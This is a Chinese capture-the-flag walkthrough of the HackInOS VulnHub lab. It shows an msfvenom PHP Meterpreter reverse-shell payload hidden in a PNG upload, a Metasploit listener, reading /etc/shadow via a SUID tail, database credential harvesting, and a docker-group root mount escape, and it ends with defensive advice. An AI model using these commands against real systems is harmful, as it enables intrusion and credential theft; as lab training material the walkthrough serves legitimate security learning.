VulnHub靶机学习——HackInOS实战记录
字数 1245 2025-08-18 11:39:04

HackInOS靶机渗透实战教学文档

靶机概述

  • 难度等级:初/中级
  • 目标:提权、获取flag
  • 运行环境
    • 攻击机:Kali Linux
    • 靶机:HackInOS
    • 虚拟化平台:VM VirtualBox
  • 网络设置:NAT模式

信息收集阶段

1. 端口扫描

使用Nmap扫描发现靶机开放端口:

  • 22端口:SSH服务
  • 8000端口:Web服务

2. Web服务分析

访问8000端口发现一个搜索框,初步尝试SQL注入无果。

使用Wappalyzer插件分析网站技术栈,但页面存在跳转到localhost的问题,影响用户体验。

3. 目录爆破

发现关键文件:

  • upload.php:文件上传接口

漏洞利用

1. 文件上传漏洞分析

查看upload.php源代码(通过页面中的GitHub链接)发现:

  • 仅允许上传PNG或GIF格式图片
  • 会校验文件内容
  • 上传文件保存在uploads目录
  • 使用随机MD5值重命名文件但保留原后缀

2. 生成并上传后门

  1. 使用msfvenom生成PHP Meterpreter后门:
msfvenom -p php/meterpreter/reverse_tcp lhost=10.0.2.4 lport=6666 -f raw
  1. 将payload保存为PHP文件并与正常PNG文件合并

  2. 利用系统不检查文件后缀的特性上传后门

3. 建立反向连接

  1. 在Metasploit中设置监听:
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 10.0.2.4
set lport 6666
exploit
  1. 编写Python脚本自动发现上传后门的MD5重命名文件

  2. 成功获取初始shell(低权限账户)

权限提升

1. 初步信息收集

  1. 检查wp-config.php获取数据库凭证

  2. 上传并运行Linux提权信息收集脚本(linuxprivchecker.py)

  3. 发现关键信息:

    • 系统可能运行在Docker中
    • tail命令设置了SUID位

2. 利用SUID提权

  1. 使用tail命令读取shadow文件:
tail /etc/shadow
  1. 获取root密码哈希并破解(密码为"john")

  2. 使用破解的密码提权

3. Docker环境突破

  1. 发现初始flag不是真正的flag

  2. 连接数据库查找更多凭证:

mysql -hdb -u wordpress -p wordpress
  1. host_ssh_cred表中发现SSH凭证:

    • 用户名:ID
    • 密码:MD5加密(破解后为"123456")
  2. 通过SSH登录

4. Docker提权

  1. 确认系统运行在Docker中

  2. 利用Docker组权限进行提权:

docker run -it -v /:/root ubuntu /bin/bash
  1. 通过挂载根目录找到真正的flag

总结与扩展

关键知识点

  1. 文件上传绕过:通过文件内容合并绕过MIME类型检查

  2. SUID提权:利用配置不当的SUID二进制文件

  3. Docker逃逸:利用Docker组权限挂载主机文件系统

学习资源

  • Docker提权详细分析:《普通用户借助Docker容器提权思路分享》
    https://www.freebuf.com/articles/system/170783.html

安全团队

Tide安全团队官网:http://www.TideSec.net

防御建议

  1. 严格限制文件上传功能,不仅检查扩展名还要验证内容
  2. 合理配置SUID权限
  3. 避免在Docker容器中使用特权模式
  4. 数据库凭证不应明文存储
  5. 使用强密码而非简单密码
HackInOS靶机渗透实战教学文档 靶机概述 难度等级 :初/中级 目标 :提权、获取flag 运行环境 : 攻击机:Kali Linux 靶机:HackInOS 虚拟化平台:VM VirtualBox 网络设置 :NAT模式 信息收集阶段 1. 端口扫描 使用Nmap扫描发现靶机开放端口: 22端口:SSH服务 8000端口:Web服务 2. Web服务分析 访问8000端口发现一个搜索框,初步尝试SQL注入无果。 使用Wappalyzer插件分析网站技术栈,但页面存在跳转到localhost的问题,影响用户体验。 3. 目录爆破 发现关键文件: upload.php :文件上传接口 漏洞利用 1. 文件上传漏洞分析 查看 upload.php 源代码(通过页面中的GitHub链接)发现: 仅允许上传PNG或GIF格式图片 会校验文件内容 上传文件保存在uploads目录 使用随机MD5值重命名文件但保留原后缀 2. 生成并上传后门 使用msfvenom生成PHP Meterpreter后门: 将payload保存为PHP文件并与正常PNG文件合并 利用系统不检查文件后缀的特性上传后门 3. 建立反向连接 在Metasploit中设置监听: 编写Python脚本自动发现上传后门的MD5重命名文件 成功获取初始shell(低权限账户) 权限提升 1. 初步信息收集 检查 wp-config.php 获取数据库凭证 上传并运行Linux提权信息收集脚本(linuxprivchecker.py) 发现关键信息: 系统可能运行在Docker中 tail 命令设置了SUID位 2. 利用SUID提权 使用tail命令读取shadow文件: 获取root密码哈希并破解(密码为"john") 使用破解的密码提权 3. Docker环境突破 发现初始flag不是真正的flag 连接数据库查找更多凭证: 在 host_ssh_cred 表中发现SSH凭证: 用户名:ID 密码:MD5加密(破解后为"123456") 通过SSH登录 4. Docker提权 确认系统运行在Docker中 利用Docker组权限进行提权: 通过挂载根目录找到真正的flag 总结与扩展 关键知识点 文件上传绕过 :通过文件内容合并绕过MIME类型检查 SUID提权 :利用配置不当的SUID二进制文件 Docker逃逸 :利用Docker组权限挂载主机文件系统 学习资源 Docker提权详细分析:《普通用户借助Docker容器提权思路分享》 https://www.freebuf.com/articles/system/170783.html 安全团队 Tide安全团队官网:http://www.TideSec.net 防御建议 严格限制文件上传功能,不仅检查扩展名还要验证内容 合理配置SUID权限 避免在Docker容器中使用特权模式 数据库凭证不应明文存储 使用强密码而非简单密码